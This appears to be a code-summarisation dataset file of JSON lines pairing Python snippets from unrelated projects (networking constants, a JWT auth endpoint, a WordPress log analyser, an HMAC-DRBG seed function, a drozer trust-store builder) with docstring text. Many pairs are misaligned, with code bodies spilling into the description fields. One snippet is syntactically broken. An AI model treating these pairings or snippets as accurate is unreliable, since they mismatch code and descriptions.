IPv4Network('169.254.0.0/16'),\n IPv4Network('172.16.0.0/12'),\n IPv4Network('192.0.0.0/29'),\n IPv4Network('192.0.0.170/31'),\n IPv4Network('192.0.2.0/24'),\n IPv4Network('192.168.0.0/16'),\n IPv4Network('198.18.0.0/15'),\n IPv4Network('198.51.100.0/24'),\n IPv4Network('203.0.113.0/24'),\n IPv4Network('240.0.0.0/4'),\n IPv4Network('255.255.255.255/32'),\n ]\n\n _reserved_network = IPv4Network('240.0.0.0/4')\n\n _unspecified_address = IPv4Address('0.0.0.0')\n\n\nIPv4Address._constants = _IPv4Constants\n\n\nclass _BaseV6:\n\n \"\"\"Base IPv6 object.\n\n __slots__ = ()\n _version = 6\n _ALL_ONES = (2**IPV6LENGTH) - 1\n _HEXTET_COUNT = 8", "nl": "Test if this address is allocated for public networks.Returns:A boolean, True if the address is not reserved periana-ipv4-special-registry."} {"code": "def get_settings_display_id(self, settings_display: SettingsDisplay):\n", "nl": "Get the ID of a skill's settings definition.db_request = self._build_db_request(sql_file_name='get_settings_display_id.sql',args=dict(skill_id=settings_display.skill_id,display_data=json.dumps(settings_display.display_data)))result = self.cursor.select_one(db_request)return None if result is None else result['id']def get_settings_definitions_by_gid(self, global_id):Get all matching settings definitions for a global skill ID."} {"code": "def get_single(self):\n return self._single\n", "nl": "Get single mode.:class:`True`Playback is stopped after current song, unless in ``repeat`` mode.:class:`False`Playback continues after current song."} {"code": "def percentage(self) -> int:\n percentage = self.percentage\n return \"[{}{}]\".format(\n \"\".join(\n (Config.FINISHED_PROGRESS_STR for i in range(floor(percentage / 5)))\n ),\n \"\".join(\n (\n Config.UNFINISHED_PROGRESS_STR\n for i in range(20 - floor(percentage / 5))\n )\n ),\n )\n\n @property", "nl": "Returns percentagereturn int(round((self._current / self._total) * 100, 2))@propertydef progress(self) -> str:Returns progress"} {"code": "def add_device(context):\n cache = SeleneCache()\n pairing_data = cache.get(\n DEVICE_PAIRING_CODE_KEY.format(pairing_code=context.pairing_code)\n )\n assert_that(pairing_data, none())\n\n\n@then(\"the device is added to the database\")", "nl": "Call the endpoint to add a device based on user input.device = dict(city=\"Kansas City\",country=\"United States\",name=\"Selene Test Device\",pairingCode=context.pairing_code,placement=\"Mycroft Offices\",region=\"Missouri\",timezone=\"America/Chicago\",wakeWord=\"hey selene\",voice=\"Selene Test Voice\",)response = context.client.post(\"/api/devices\", data=json.dumps(device), content_type=\"application/json\")context.response = response@then(\"the pairing code is removed from cache\")def validate_pairing_code_removal(context):Ensure that the endpoint removed the pairing code entry from the cache."} {"code": "def resource_string(self):\n self._update_avail_resources()\n", "nl": "Returns a string describing the total resources available.if self._resources_initialized:res_str = (\"{} CPUs, {} GPUs, \"\"{} GiB heap, {} GiB objects\".format(self._avail_resources.cpu,self._avail_resources.gpu,_to_gb(self._avail_resources.memory),_to_gb(self._avail_resources.object_store_memory)))if self._avail_resources.custom_resources:custom = \", \".join(\"{} {}\".format(self._avail_resources.get_res_total(name), name)for name in self._avail_resources.custom_resources)res_str += \" ({})\".format(custom)return res_strelse:return \"? CPUs, ? GPUs\"def on_step_begin(self, trial_runner):Before step() called, update the available resources."} {"code": "def _collate_fn_eval(batch):\n assert len(batch) == 1\n mixtures, filenames = load_mixtures(batch[0])\n\n ilens = np.array([mix.shape[0] for mix in mixtures])\n\n pad_value = 0\n mixtures_pad = pad_list([torch.from_numpy(mix).float()\n for mix in mixtures], pad_value)\n ilens = torch.from_numpy(ilens)\n return mixtures_pad, ilens, filenames\n", "nl": "Args:batch: list, len(batch) = 1. See AudioDataset.__getitem__()Returns:mixtures_pad: B x T, torch.Tensorilens : B, torch.Tentorfilenames: a list contain B strings"} {"code": "def _get_timestamp(self, log_line):\n\n Args:\n config (str): access log file content.\n\n Returns:\n Tuple(\n report_text(str): The report data\n report_priority(int): The priority of the report (0 - 100)\n summary(str): A summary of the report (used for task status)\n )\n \"\"\"", "nl": "Extracts a timestamp from an access log line.match = self.timestamp_regex.search(log_line)if match:return match.group('timestamp')return '[N/A]'def analyze_wp_access_logs(self, config):Analyses access logs containing Wordpress traffic."} {"code": "def __init__(self, path: str):\n super().__init__(path)\n self._platform = \"java\"\n self._root_tag: NamedTag = NamedTag()\n self._levels: Dict[InternalDimension, AnvilDimensionManager] = {}\n self._dimension_name_map: Dict[Dimension, InternalDimension] = {}\n self._mcc_support: Optional[bool] = None\n self._lock_time: Optional[bytes] = None\n self._lock: Optional[BinaryIO] = None\n self._data_pack: Optional[DataPackManager] = None\n self._shallow_load()\n", "nl": "Construct a new instance of :class:`AnvilFormat`.This should not be used directly. You should instead use :func:`amulet.load_format`.:param path: The file path to the serialised data."} {"code": "def generate_nfo (scene_id: int, force: bool = False):\n\n if not Scene.objects.filter(pk=scene_id):\n log.error(f'NFOGEN: The scene with ID {scene_id} does not exist!')\n return False\n\n scene = Scene.objects.get(pk=scene_id)\n fpath = scene.path_to_file\n file = Path(fpath)\n nfopath = os.path.join(file.parents[0], file.stem + '.nfo')\n if not os.path.exists(nfopath) or force:\n log.info(f'Writing NFO for {fpath}...')\n\n else:\n\n nfo-items = ('title', 'studio', 'releasedate' 'plot', 'aired', 'userrating', 'uniqueid', 'dateadded',\n 'datemodified', 'actor', 'fileinfo', 'tag')\n\n\n\n\n", "nl": "Function to generate a .NFO file from scene metadata.Args:scene_id (int): The table ID of a scene to scanforce (bool): Indicates if the operation should be forcedReturns:success: bool"} {"code": "def teardown_class(cls):\n", "nl": "Teardown the test.cls.multiplexer1.disconnect()cls.multiplexer2.disconnect()class TestOefConnection(UseOef):Tests the con.connection_status.is_connected property."} {"code": "def post():\n jwt = current_app.extensions[\"jwt\"]\n user = UserController(current_identity.id).get(id=current_identity.id)\n access_token = jwt.jwt_encode_callback(user).decode(\"utf8\")\n UserController(user.id).update({\"id\": user.id},\n {\"last_connection\": utc_now(),\n \"renew_password_token\": \"\"})\n SERVER.labels(method=\"get\", uri=\"/auth/refresh\", result='2XX').inc()\n return {\"access_token\": \"%s %s\" % (conf.auth.jwt_header_prefix,\n access_token)}, 200\n\n\n@auth_ns.route(\"/recovery\")\nclass InitPasswordRecovery(Resource):\n\n @staticmethod\n @auth_ns.expect(login_init_recovery_parser, validate=True)\n @auth_ns.response(204, \"Token generated and mail sent\")\n @auth_ns.response(400, \"Bad request\")", "nl": "Given valid credentials, will provide a token to request the API.attrs = login_parser.parse_args()jwt = current_app.extensions[\"jwt\"]user = jwt.authentication_callback(attrs[\"login\"], attrs[\"password\"])if not user:SERVER.labels(method=\"post\", uri=\"auth\", result='4XX').inc()raise Forbidden()access_token = jwt.jwt_encode_callback(user).decode(\"utf8\")UserController(user.id).update({\"id\": user.id},{\"last_connection\": utc_now(),\"renew_password_token\": \"\"})SERVER.labels(method=\"post\", uri=\"/auth\", result='2XX').inc()return {\"access_token\": \"%s %s\" % (conf.auth.jwt_header_prefix,access_token)}, 200@auth_ns.route(\"/refresh\")class Refresh(Resource):@staticmethod@auth_ns.response(200, \"OK\", model=model)@auth_ns.response(403, \"Forbidden\")@jwt_required()def get():Given valid credentials, will provide a token to request the API."} {"code": "def notify_user(self, address: str) -> None:\n duration_in_traffic = state[\"attributes\"].get(\"duration_in_traffic\")\n duration_in_traffic_minutes = None\n if duration_in_traffic is not None:\n if isinstance(duration_in_traffic, float):\n duration_in_traffic_minutes = int(duration_in_traffic)\n else:\n duration_in_traffic_minutes = int(\n duration_in_traffic[: duration_in_traffic.find(\" \")]\n )\n else:\n self.log(\n \"Could not find duration_in_traffic in state attributes.\",\n level=\"WARNING\",\n )\n return duration_in_traffic_minutes\n", "nl": "Notify the user it is time to leave for the given address.message = self.message.format(address)self.log(\"Notify user\")self.notifier.notify(self.notify_name, message, useAlexa=self.notify_use_Alexa)def parse_duration_in_traffic_minutes(self, state) -> Optional[int]:Get duration_in_traffic from the states attributes."} {"code": "def voices_api(version: int = 1) -> Response:\n\n if not (1 <= version <= 1):\n return better_jsonify(valid=False, reason=\"Unsupported version\")\n\n name = request.values.get(\"name\")\n email = request.values.get(\"email\")\n comment = request.values.get(\"comment\")\n topic = request.values.get(\"topic\")\n\n if comment:\n with SessionContext(commit=True) as session:\n try:\n qrow = Feedback(\n timestamp=datetime.utcnow(),\n topic=topic,\n name=name,\n email=email,\n comment=comment,\n )\n session.add(qrow)\n return better_jsonify(valid=True)\n except Exception as e:\n logging.error(\"Error saving feedback to db: {0}\".format(e))\n\n return better_jsonify(valid=False)\n\n\n@routes.route(\"/exit.api\", methods=[\"GET\"])", "nl": "Returns list of supported speech synthesis voices as JSON.if not (1 <= version <= 1):return better_jsonify(valid=False, reason=\"Unsupported version\")return better_jsonify(valid=True,default=DEFAULT_VOICE,supported=sorted(list(SUPPORTED_VOICES)),recommended=sorted(list(RECOMMENDED_VOICES)),)@routes.route(\"/feedback.api\", methods=[\"POST\"])@routes.route(\"/feedback.api/v\", methods=[\"POST\"])def feedback_api(version: int = 1) -> Response:Endpoint to accept submitted feedback forms"} {"code": "def test_corpus_with_predefined_data_sets(tmpdir, create_sine, make_wav):\n from persephone.corpus import Corpus\n from pathlib import Path\n\n wav_dir = tmpdir.mkdir(\"wav\")\n label_dir = tmpdir.mkdir(\"label\")\n\n data_a = create_sine(note=\"A\")\n data_b = create_sine(note=\"B\")\n data_c = create_sine(note=\"C\")\n\n wav_test = wav_dir.join(\"test.wav\")\n make_wav(data_a, str(wav_test))\n wav_train = wav_dir.join(\"train.wav\")\n make_wav(data_b, str(wav_train))\n wav_valid = wav_dir.join(\"valid.wav\")\n make_wav(data_c, str(wav_valid))\n\n label_test = label_dir.join(\"test.phonemes\").write(\"a\")\n label_train = label_dir.join(\"train.phonemes\").write(\"b\")\n label_valid = label_dir.join(\"valid.phonemes\").write(\"c\")\n\n test_prefixes = tmpdir.join(\"test_prefixes.txt\").write(\"test\")\n train_prefixes = tmpdir.join(\"train_prefixes.txt\").write(\"train\")\n valid_prefixes = tmpdir.join(\"valid_prefixes.txt\").write(\"valid\")\n\n c = Corpus(\n feat_type='fbank',\n label_type='phonemes',\n tgt_dir=Path(str(tmpdir)),\n labels={\"a\",\"b\",\"c\"}\n )\n assert c\n assert c.feat_type == 'fbank'\n assert c.label_type == 'phonemes'\n assert set(c.labels) == {\"a\", \"b\", \"c\"}\n assert c.vocab_size == 3\n", "nl": "Test that corpus construction works with prefix data splits determinedas per the file system conventions.This will check that what is specified in :* `test_prefixes.txt`* `train_prefixes.txt`* `valid_prefixes.txt`Matches the internal members that store the prefix information"} {"code": "def retr_callback(data):\n Download a file from an url, and save it in output_dir.\n :param output_name: The name of the file will be the basename of the url,\n unless output_name is given\n :param callback: callback to use to show download progress.", "nl": " Retr Callback Transfer.data += dataftp.retrbinary(cmd, retr_callback)return io.StringIO(Transfer.data)else:return authenticated_urlopen(location)def download(url, output_dir, output_name=None,callback=progress_callback, clobber=True, message=None):"} {"code": "def __init__(self, smoothing=0.0):\n super(LabelSmoothing, self).__init__()\n self.confidence = 1.0 - smoothing\n self.smoothing = smoothing\n", "nl": "Constructor for the LabelSmoothing module.:param smoothing: label smoothing factor"} {"code": "def add_meta_line(self, key, value):\n meta_line = '\n key, value\n )\n self.logger.info(\"Adding meta line to vcf: {0}\".format(meta_line))\n self.parse_meta_data(meta_line)\n return\n", "nl": "Adds an arbitrary metadata line to the header.This must be a key value pairArguments:key (str): The key of the metadata linevalue (str): The value of the metadata line"} {"code": "def _get_lr(self, var_device, var_dtype, apply_state):\n if self.weight_decay_rate == 0:\n return False\n\n if self._include_in_weight_decay:\n for r in self._include_in_weight_decay:\n if re.search(r, param_name) is not None:\n return True\n\n if self._exclude_from_weight_decay:\n for r in self._exclude_from_weight_decay:\n if re.search(r, param_name) is not None:\n return False\n return True", "nl": "Retrieves the learning rate with the given state.if apply_state is None:return self._decayed_lr_t[var_dtype], {}apply_state = apply_state or {}coefficients = apply_state.get((var_device, var_dtype))if coefficients is None:coefficients = self._fallback_apply_state(var_device, var_dtype)apply_state[(var_device, var_dtype)] = coefficientsreturn coefficients['lr_t'], dict(apply_state=apply_state)def _resource_apply_dense(self, grad, var, apply_state=None):lr_t, kwargs = self._get_lr(var.device, var.dtype.base_dtype, apply_state)decay = self._decay_weights_op(var, lr_t, apply_state)with tf.control_dependencies([decay]):return super(AdamWeightDecay,self)._resource_apply_dense(grad, var, **kwargs)def _resource_apply_sparse(self, grad, var, indices, apply_state=None):lr_t, kwargs = self._get_lr(var.device, var.dtype.base_dtype, apply_state)decay = self._decay_weights_op(var, lr_t, apply_state)with tf.control_dependencies([decay]):return super(AdamWeightDecay,self)._resource_apply_sparse(grad, var, indices, **kwargs)def get_config(self):config = super(AdamWeightDecay, self).get_config()config.update({'weight_decay_rate': self.weight_decay_rate,})return configdef _do_use_weight_decay(self, param_name):Whether to use L2 weight decay for `param_name`."} {"code": "def toggleapply(self, item=None):\n if item is None:\n item = self.currentselecteditem\n\n item.applied = not item.applied\n\n if isinstance(item, Header):\n item.partial = False\n if item.applied:\n for hnk in item.hunks:\n hnk.applied = True\n for hunkline in hnk.changedlines:\n hunkline.applied = True\n else:\n for hnk in item.hunks:\n hnk.applied = False\n hnk.partial = False\n for hunkline in hnk.changedlines:\n hunkline.applied = False\n elif isinstance(item, Hunk):\n item.partial = False\n for hunkline in item.changedlines:\n hunkline.applied = item.applied\n\n siblingappliedstatus = [hnk.applied for hnk in item.header.hunks]\n allsiblingsapplied = all(siblingappliedstatus)\n nosiblingsapplied = not any(siblingappliedstatus)\n\n siblingspartialstatus = [hnk.partial for hnk in item.header.hunks]\n somesiblingspartial = any(siblingspartialstatus)\n\n\n if nosiblingsapplied:\n if not item.header.special():\n item.header.applied = False\n item.header.partial = False\n else:\n item.header.applied = True\n item.header.partial = somesiblingspartial or not allsiblingsapplied\n elif isinstance(item, HunkLine):\n siblingappliedstatus = [ln.applied for ln in item.hunk.changedlines]\n allsiblingsapplied = all(siblingappliedstatus)\n nosiblingsapplied = not any(siblingappliedstatus)\n\n if nosiblingsapplied:\n item.hunk.applied = False\n item.hunk.partial = False\n elif allsiblingsapplied:\n item.hunk.applied = True\n item.hunk.partial = False\n else:\n item.hunk.applied = True\n item.hunk.partial = True\n\n parentsiblingsapplied = [hnk.applied for hnk in item.hunk.header.hunks]\n noparentsiblingsapplied = not any(parentsiblingsapplied)\n allparentsiblingsapplied = all(parentsiblingsapplied)\n\n parentsiblingspartial = [hnk.partial for hnk in item.hunk.header.hunks]\n someparentsiblingspartial = any(parentsiblingspartial)\n\n if noparentsiblingsapplied:\n if not item.hunk.header.special():\n item.hunk.header.applied = False\n item.hunk.header.partial = False\n else:\n item.hunk.header.applied = True\n item.hunk.header.partial = someparentsiblingspartial or not allparentsiblingsapplied\n", "nl": "Toggle the applied flag of the specified item. If no item is specified,toggle the flag of the currently selected item."} {"code": "def proxy_place(self, x, y):\n return self.proxy(\"place\", x, y)\n", "nl": "Place the proxy at the given x and y coordinates."} {"code": "def test_outgoing(self):\n connection = self.lookup_connections([1112223333])[0]\n msg = self.receive(\"test\", connection,\n fields={'external_id': 'ABCD1234'})\n backend_msg = self.sent_messages[0]\n self.assertEqual(msg.fields['external_id'],\n backend_msg.external_id)\n", "nl": "send() should preserve all message context.connection = self.lookup_connections(['1112223333'])[0]msg = self.send(\"test\", connection)backend_msg = self.sent_messages[0]self.assertEqual(msg.id, backend_msg.message_id)self.assertEqual(msg.text, backend_msg.text)self.assertEqual(msg.connections[0].identity, backend_msg.identity)def test_in_response_to_external_id(self):CeleryRouter should maintain external_id through responses."} {"code": "def __instantiate(self, entropy: bytes, personalization_string: bytes):\n if len(personalization_string) * 8 > 256:\n raise RuntimeError(\"personalization_string cannot exceed 256 bits.\")\n\n if (len(entropy) * 8 * 2) < (3 * self.security_strength):\n raise RuntimeError(\"entropy must be at least %f bits.\" % (1.5 * self.security_strength))\n\n if len(entropy) * 8 > 1000:\n raise RuntimeError(\"entropy cannot exceed 1000 bits.\")\n\n seed_material = entropy + personalization_string\n\n self.K = b\"\\x00\" * 32\n self.V = b\"\\x01\" * 32\n\n self.__update(seed_material)\n self.reseed_counter = 1\n", "nl": "Set hmac_drbg seed for onetime key generation."} {"code": "def start_command(self, jid, node, session, ifrom=None, block=False):\n session['jid'] = jid\n session['node'] = node\n session['timestamp'] = time.time()\n session['block'] = block\n if 'payload' not in session:\n session['payload'] = None\n\n iq = self.xmpp.Iq()\n iq['type'] = 'set'\n iq['to'] = jid\n iq['from'] = ifrom\n session['from'] = ifrom\n iq['command']['node'] = node\n iq['command']['action'] = 'execute'\n if session['payload'] is not None:\n payload = session['payload']\n if not isinstance(payload, list):\n payload = list(payload)\n for stanza in payload:\n iq['command'].append(stanza)\n sessionid = 'client:pending_' + iq['id']\n session['id'] = sessionid\n self.sessions[sessionid] = session\n if session['block']:\n try:\n result = iq.send(block=True)\n except IqError as err:\n result = err.iq\n self._handle_command_result(result)\n else:\n iq.send(block=False, callback=self._handle_command_result)\n", "nl": "Initiate executing a command provided by a remote agent.The default workflow provided is non-blocking, but a blockingversion may be used with block=True.The provided session dictionary should contain:next -- A handler for processing the command result.error -- A handler for processing any error stanzasgenerated by the request.Arguments:jid -- The JID to send the command request.node -- The node for the desired command.session -- A dictionary of relevant session data.ifrom -- Optionally specify the sender's JID.block -- If True, block execution until a resultis received. Defaults to False."} {"code": "def on_created_action(sender, instance: models_actstream.Action, created, **kwargs):\n content_type = ContentType.objects.get_for_id(instance.content_type_id)\n log.debug(\"Unfollowing %s %s\" % (content_type.name, instance.object_id))\n dillo.tasks.feeds.repopulate_timeline_content(\n instance.content_type_id, instance.object_id, instance.user_id, 'unfollow'\n )\n\n\n@receiver(email_confirmed)", "nl": "On action created, fan out notificationsif not created:return# If content_type is Post or Profileif (instance.action_object_content_type== ContentType.objects.get_for_model(dillo.models.posts.Post)and instance.verb == 'posted') or (instance.action_object_content_type== ContentType.objects.get_for_model(dillo.models.profiles.Profile)and instance.verb == 'updated their reel'):dillo.tasks.feeds.establish_time_proximity(instance)log.debug('Creating background fanout operation for action %i' % instance.id)dillo.tasks.feeds.activity_fanout_to_feeds(instance.id)@receiver(post_save, sender=models_actstream.Follow)def on_created_follow(sender, instance: models_actstream.Follow, created, **kwargs):if not created:returndillo.tasks.feeds.repopulate_timeline_content(instance.content_type_id, instance.object_id, instance.user_id, 'follow')@receiver(post_delete, sender=models_actstream.Follow)def on_deleted_follow(sender, instance: models_actstream.Follow, **kwargs):User stops following something."} {"code": "def IsUseSubstitution(self):\n return True\n\n\n", "nl": "Should the text values printed by this block have substitutions performed before being printed?This allows, for example, footers to have '%(currentPage)d of %(totalPages)d'"} {"code": "def _activities_from_user_query(user_id: str) -> QActivity:\n q = model.Session.query(Activity)\n q = q.filter(Activity.object_id == user_id)\n return q\n\n", "nl": "Return an SQLAlchemy query for all activities from user_id.q = model.Session.query(Activity)q = q.filter(Activity.user_id == user_id)return qdef _activities_about_user_query(user_id: str) -> QActivity:Return an SQLAlchemy query for all activities about user_id."} {"code": "def get_all_custom(self, url):\n body = dict(method=\"get\", params=[{\"url\": url}], verbose=1, session=self.session)\n response = self.make_request(body)\n\n return response.json()[\"result\"][0].get(\"data\", [])\n", "nl": "This method is used to get all objects currently configured for the specified URL.:param url: Type str.The URL of the endpoint to retrieve configurations from.:return: The list of configuration dictionaries for each object. An empty list is returned if the request doesnot return any data."} {"code": "def log1p(a):\n\n\n@_scal_elemwise", "nl": "log(1+a)@_scal_elemwisedef sgn(a):sign of a"} {"code": "def test_login_function(self):\n self.doLogin()\n\n sidebar = self.driver.find_element_by_css_selector(\"\n assert sidebar\n", "nl": "Test that login is working"} {"code": "def expungeNote(self, authenticationToken, guid):\n pass\n", "nl": "Permanently removes a Note, and all of its Resources,from the service.

NOTE: This function is not available to third party applications.Calls will result in an EDAMUserException with the error codePERMISSION_DENIED.@param guidThe GUID of the note to delete.@returnThe Update Sequence Number for this change within the account.@throws EDAMUserException

  • PERMISSION_DENIED \"Note\" - user doesn't own
@throws EDAMNotFoundException
  • \"Note.guid\" - not found, by GUID
Parameters:- authenticationToken- guid"} {"code": "def __call__(event):\n\n\n", "nl": "Determine whether an event should be logged.@returns: a L{PredicateResult}."} {"code": "def acquire_lock(self):\n self.locks[self.id].release()\n self.locked = False\n", "nl": "Acquire an exclusive lock on the currently-loaded session data.self.locked = Trueself.locks.setdefault(self.id, threading.RLock()).acquire()def release_lock(self):Release the lock on the currently-loaded session data."} {"code": "def get_framework(model=None):\n if is_tf_available() and is_torch_available() and model is not None and not isinstance(model, str):\n framework = \"tf\" if model.__class__.__name__.startswith(\"TF\") else \"pt\"\n elif not is_tf_available() and not is_torch_available():\n raise RuntimeError(\n \"At least one of TensorFlow 2.0 or PyTorch should be installed. \"\n \"To install TensorFlow 2.0, read the instructions at https://www.tensorflow.org/install/ \"\n \"To install PyTorch, read the instructions at https://pytorch.org/.\"\n )\n else:\n framework = \"pt\" if is_torch_available() else \"tf\"\n return framework\n\n\nclass ArgumentHandler(ABC):\n \"\"\"\n\n @abstractmethod", "nl": " Select framework (TensorFlow/PyTorch) to use.If both frameworks are installed and no specific model is provided, defaults to using PyTorch."} {"code": "def get_user_email():\n key = request.get('key')\n try:\n return int(key)\n except (ValueError, KeyError):\n raise EarlyExitException('Invalid key format.', 400)\n\n", "nl": "Returns currently logged-in user's email.try:return auth.get_current_user().emailexcept Exception:return ''def get_integer_key(request):Convenience function for getting an integer datastore key ID."} {"code": "def __init__(self, agent_name: str = \"standalone\") -> None:\n self._agent_name = agent_name\n self._component_registry = AgentComponentRegistry(agent_name=agent_name)\n self._specification_to_protocol_id: Dict[PublicId, PublicId] = {}\n self._handler_registry = HandlerRegistry(agent_name=agent_name)\n self._behaviour_registry = ComponentRegistry[Behaviour](agent_name=agent_name)\n self._model_registry = ComponentRegistry[Model](agent_name=agent_name)\n\n self._registries = [\n self._component_registry,\n self._handler_registry,\n self._behaviour_registry,\n self._model_registry,\n ]\n\n @property", "nl": "Instantiate the resources.:param agent_name: the name of the agent"} {"code": "def add_monster(self, monster: Monster) -> None:\n monster.owner = self\n if len(self.monsters) >= self.party_limit:", "nl": "Adds a monster to the npc's list of monsters.If the player's party is full, it will send the monster toPCState archive.Parameters:monster: The monster to add to the npc's party."} {"code": "def bikes():\n module_path = dirname(__file__)\n return join(module_path, 'data', 'bikes.mp4')\n", "nl": "Test video data for video scene detection algorithmsReturns-------path : stringAbsolute path to bikes.mp4"} {"code": "def test_download_no_bands_with_process(self, mock_downloader, mock_process):\n args = ['download', 'LT813600']\n\n self.assertEquals(landsat.main(self.parser.parse_args(args)),\n ['The SceneID provided was incorrect', 1])\n\n @mock.patch('landsat.landsat.process_image')\n @mock.patch('landsat.downloader.fetch')", "nl": "Download command should not download zip if no bands are given but process flag is usedmock_downloader.return_value = {'LC80010092015051LGN00': 'aws'}mock_process.return_value = 'image.TIF'args = ['download', 'LC80010092015051LGN00', '-p', '-d', self.mock_path]output = landsat.main(self.parser.parse_args(args))mock_downloader.assert_called_with(['LC80010092015051LGN00'], [4, 3, 2])self.assertEquals(output, [\"The output is stored at image.TIF\", 0])def test_download_incorrect(self):Test download command with incorrect input"} {"code": "def test_equality(self):\n firstAltitude = base.Altitude(1.)\n secondAltitude = base.Altitude(1.)\n self.assertEqual(firstAltitude, secondAltitude)\n\n", "nl": "Altitudes with equal values compare equal."} {"code": "def identity_key_from_row(self, row, identity_token=None, adapter=None):\n pk_cols = self.primary_key\n if adapter:\n pk_cols = [adapter.columns[c] for c in pk_cols]\n\n return self._identity_class, \\\n tuple(row[column] for column in pk_cols), identity_token\n", "nl": "Return an identity-map key for use in storing/retrieving anitem from the identity map.:param row: A :class:`.RowProxy` instance. The columns which aremapped by this :class:`.Mapper` should be locatable in the row,preferably via the :class:`.Column` object directly (as is the casewhen a :func:`.select` construct is executed), or via string names ofthe form ``_``."} {"code": "def __init__(self):\n from suds.transport.options import Options\n self.options = Options()\n del Options\n", "nl": "Constructor."} {"code": "def orga_refs_in_writer_refs_umwandeln(self, doc, sections, popup):\n\n if self.mb.debug: log(inspect.stack)\n\n try:\n popup.text = LANG.WANDLE_QUERVERWEISE + str(1)\n\n enum = doc.TextFields.createEnumeration()\n tfs = []\n while enum.hasMoreElements():\n tfs.append(enum.nextElement())\n\n\n popup.text = LANG.WANDLE_QUERVERWEISE + str(2)\n\n bookmarks = doc.Bookmarks\n referenzierte = [bookmarks.getByName(n) for n in bookmarks.ElementNames if 'zzOrganonBM' in n]\n\n bm_refs = [[t.SourceName, t]\n for t in tfs\n if ('com.sun.star.text.TextField.GetReference' in t.SupportedServiceNames\n and 'zzOrganonBM' in t.SourceName)]\n user_f_refs = [\n ['zzOrganonBM_' + t.TextFieldMaster.Name.split('_')[-1],\n t.TextFieldMaster.Name,\n t]\n\n for t in tfs\n\n if ('com.sun.star.text.TextField.User' in t.SupportedServiceNames\n and 'zzOrganonField' in t.TextFieldMaster.Name)]\n\n vorkommende = [b[0] for b in bm_refs]\n vorkommende.extend([b[0] for b in user_f_refs])\n vorkommende = set(vorkommende)\n\n referenzierte_sequenzen = [t for t in tfs if 'com.sun.star.text.TextField.SetExpression' in t.SupportedServiceNames ]\n\n", "nl": " Headings und numerierte Listen werden uebernommenOrganon spezifische Referenzen sind BookmarksReferenzen sind:a) bookmark-ref= TextFields mit ReferenceFieldSource und ReferenceFieldPart, CurrentPresentationmit com.sun.star.text.TextField.GetReferenceb) user-field-get= TextFields mit TextFieldMaster-> Name und Contentmit com.sun.star.text.TextField.Userwerden beim Export umgewandelt in Writer Referenzenbei Nutzung eines Filters (z.B. pdf) werdendie Referenzen automatisch in Text umgewandelt"} {"code": "def _serve_clients(self):\n while self.active:\n try:\n fd = self._active_connection_queue.get(True)\n if fd:\n self._serve_requests(fd)\n except Queue.Empty:\n pass\n except Exception:\n self.logger.exception(\"failed to serve client, caught exception\")\n time.sleep(0.2)\n", "nl": "Main method run by the processing threads of the thread pool.Loops forever, handling requests read from the connections present in the active_queue"} {"code": "def _shapely_geometry_to_qupath_roi(geometry: BaseGeometry, image_plane=None) -> ROI:\n wkb_bytes = shapely_wkb_dumps(geometry)\n jts_geometry = WKBReader().read(wkb_bytes)\n return GeometryTools.geometryToROI(jts_geometry, image_plane)\n\n", "nl": "convert a shapely geometry into a qupath ROIuses well known binary WKB as intermediate representationtodo: expose image plane settings and provide pythonic interface to it"} {"code": "def _test_multi(self, pad):\n tm1 = \"\"\"id 1\n tm2 = \"\"\"id 1\n m0 = dns.message.from_text(tm0)\n m0.use_edns(0, pad=pad)\n m0.use_tsig(keyring)\n w0 = m0.to_wire()\n m1 = dns.message.from_text(tm1)\n m1.use_edns(0, pad=pad)\n m1.use_tsig(keyring)\n m1.request_mac = m0.mac\n w1 = m1.to_wire(multi=True)\n if pad != 0:\n self.assertEqual(len(w1) % pad, 0)\n m2 = dns.message.from_text(tm2)\n m2.use_edns(0, pad=pad)\n m2.use_tsig(keyring)\n w2 = m2.to_wire(multi=True, tsig_ctx=m1.tsig_ctx)\n if pad != 0:\n self.assertEqual(len(w2) % pad, 0)\n m3 = dns.message.from_wire(w1, keyring=keyring, request_mac=m0.mac, multi=True)\n m4 = dns.message.from_wire(\n w2, keyring=keyring, multi=True, tsig_ctx=m3.tsig_ctx\n )\n self.assertEqual(m1, m3)\n self.assertEqual(m2, m4)\n", "nl": "tm0 = id 1;QUESTIONexample. IN AXFR"} {"code": "def schedule_reminder(self):\n\n if self.task_id:\n self.cancel_task()\n\n super(Appointment, self).save(*args, **kwargs)\n\n self.task_id = self.schedule_reminder()\n\n super(Appointment, self).save(*args, **kwargs)\n", "nl": "Schedule a Dramatiq task to send a reminder for this appointment# Calculate the correct time to send this reminderappointment_time = arrow.get(self.time, self.time_zone.zone)reminder_time = appointment_time.shift(minutes=-30)now = arrow.now(self.time_zone.zone)milli_to_wait = int((reminder_time - now).total_seconds()) * 1000# Schedule the Dramatiq taskfrom .tasks import send_sms_reminderresult = send_sms_reminder.send_with_options(args=(self.pk,),delay=milli_to_wait)return result.options['redis_message_id']def save(self, *args, **kwargs):Custom save method which also schedules a reminder"} {"code": "def load_input(self):\n if self.mode == \"check\":\n self.record_status[\"[input]\"] += 1\n fpath = os.path.join(self.base_path, f\"__input-{self.record_status['[input]']}.pkl\")\n with open(fpath, 'rb') as f:\n data = pickle.load(f)\n LOG.i(f\"load input: ok\")\n return data\n else:\n raise RuntimeError(\"load_input is invalid in [save] mode\")", "nl": "for fake_input, fake_label in jittor_dataset:input, label = hook.load_input()input = jt.array(input)label = jt.array(label)"} {"code": "def check_all_files(dir_path=theano.__path__[0], pattern='*.py'):\n\n with open('theano_filelist.txt', 'a') as f_txt:\n for (dir, _, files) in os.walk(dir_path):\n for f in files:\n if fnmatch(f, pattern):\n error_num = flake8.main.check_file(os.path.join(dir, f),\n ignore=ignore)\n if error_num > 0:\n path = os.path.relpath(os.path.join(dir, f),\n theano.__path__[0])\n f_txt.write('\"' + path + '\",\\n')\n\n\nif __name__ == \"__main__\":\n print_files_information_flake8()", "nl": "List all .py files under dir_path (theano path), check if they followflake8 format, save all the error-formatted files intotheano_filelist.txt. This function is used for generatingthe \"whitelist_flake8\" in this file."} {"code": "def make_jks_trust_store(self):\n\n keytool = Configuration.executable('keytool')\n argv = [keytool,\n \"-import\",\n \"-trustcacerts\",\n \"-noprompt\",\n \"-alias\", \"drozerCA\",\n \"-file\", self.ca_certificate_path(),\n \"-keystore\", self.__jks_path('drozer-ca'),\n \"-storetype\", \"JKS\",\n \"-storepass\", \"drozer\"]\n\n if keytool != None:\n if os.spawnve(os.P_WAIT, argv[0], argv, os.environ) == 0:\n return self.__bks_path('drozer-ca')\n else:\n argv[0] = \"keytool\"\n\n print \"Could not compile the JKS trust store, because keytool could not be located on your 